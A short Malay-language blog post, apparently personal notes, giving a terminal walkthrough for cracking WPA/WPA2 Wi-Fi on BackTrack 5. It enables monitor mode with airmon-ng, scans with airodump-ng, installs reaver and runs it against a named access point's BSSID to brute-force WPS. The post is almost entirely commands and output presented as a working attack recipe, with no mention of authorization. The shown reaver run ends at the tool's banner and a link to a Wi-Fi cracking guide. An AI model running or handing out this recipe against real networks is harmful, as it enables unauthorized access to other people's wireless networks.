Backtrack 5 WPA WPA 2 crack wireless

atas desakkan master drebar aku pun buat blog utk nota. heheh
ni command utk crack wireless guna reaver. walau simple command tp ni slalu aku lupa

terminal 1

root@bt:~# airmon-ng


Interface    Chipset        Driver

wlan0        Atheros AR2417    ath5k - [phy0]
mon0        Atheros AR2417    ath5k - [phy0]

root@bt:~# airmon-ng start wlan0


Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID    Name
932    dhclient3
1515    dhclient3
3112    dhclient
3130    dhclient
Process with PID 1515 (dhclient3) is running on interface wlan0


Interface    Chipset        Driver

wlan0        Atheros AR2417    ath5k - [phy0]
                (monitor mode enabled on mon1)
mon0        Atheros AR2417    ath5k - [phy0]


root@bt:~# airodump-ng mon0


Terminal 2 :


root@bt:~# apt-get update
Get:1 http://32.repository.backtrack-linux.org revolution Release.gpg [197B]
Ign http://32.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/microverse Translation-en_US
Get:2 http://all.repository.backtrack-linux.org revolution Release.gpg [197B]
Ign http://all.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://all.repository.backtrack-linux.org/ revolution/microverse Translation-en_US
Get:3 http://source.repository.backtrack-linux.org revolution Release.gpg [197B]
Ign http://source.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://source.repository.backtrack-linux.org/ revolution/microverse Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/non-free Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/testing Translation-en_US
Get:4 http://32.repository.backtrack-linux.org revolution Release [5,041B]
Ign http://all.repository.backtrack-linux.org/ revolution/non-free Translation-en_US
Ign http://all.repository.backtrack-linux.org/ revolution/testing Translation-en_US
Get:5 http://all.repository.backtrack-linux.org revolution Release [13.5kB]
Ign http://source.repository.backtrack-linux.org/ revolution/non-free Translation-en_US
Ign http://source.repository.backtrack-linux.org/ revolution/testing Translation-en_US
Get:6 http://source.repository.backtrack-linux.org revolution Release [13.5kB]
Hit http://32.repository.backtrack-linux.org revolution/main Packages         
Hit http://all.repository.backtrack-linux.org revolution/main Packages
Hit http://source.repository.backtrack-linux.org revolution/main Packages
Hit http://32.repository.backtrack-linux.org revolution/microverse Packages
Hit http://32.repository.backtrack-linux.org revolution/non-free Packages
Get:7 http://32.repository.backtrack-linux.org revolution/testing Packages [59.5kB]
Hit http://all.repository.backtrack-linux.org revolution/microverse Packages
Hit http://all.repository.backtrack-linux.org revolution/non-free Packages   
Get:8 http://all.repository.backtrack-linux.org revolution/testing Packages [87.4kB]
Hit http://source.repository.backtrack-linux.org revolution/microverse Packages
Hit http://source.repository.backtrack-linux.org revolution/non-free Packages 
Hit http://source.repository.backtrack-linux.org revolution/testing Packages  
Fetched 180kB in 3s (53.7kB/s)                                                
Reading package lists... Done




root@bt:~# apt-get install reaver
Reading package lists... Done
Building dependency tree      
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libdmraid1.0.0.rc16 python-pyicu libdebian-installer4 cryptsetup
  libecryptfs0 reiserfsprogs rdate bogl-bterm ecryptfs-utils libdebconfclient0
  dmraid keyutils
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
  reaver
0 upgraded, 1 newly installed, 0 to remove and 120 not upgraded.
Need to get 207kB of archives.
After this operation, 0B of additional disk space will be used.
Get:1 http://32.repository.backtrack-linux.org/ revolution/testing reaver 1.4-bt2 [207kB]
Fetched 207kB in 2s (76.3kB/s)
Selecting previously deselected package reaver.
(Reading database ... 216215 files and directories currently installed.)
Unpacking reaver (from .../reaver_1.4-bt2_i386.deb) ...
Processing triggers for desktop-file-utils ...
Processing triggers for python-gmenu ...
Rebuilding /usr/share/applications/desktop.en_US.utf8.cache...
Processing triggers for python-support ...
Setting up reaver (1.4-bt2) ...




root@bt:~# reaver -i mon0 -b CC:B3:55:F2:50:B0 -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver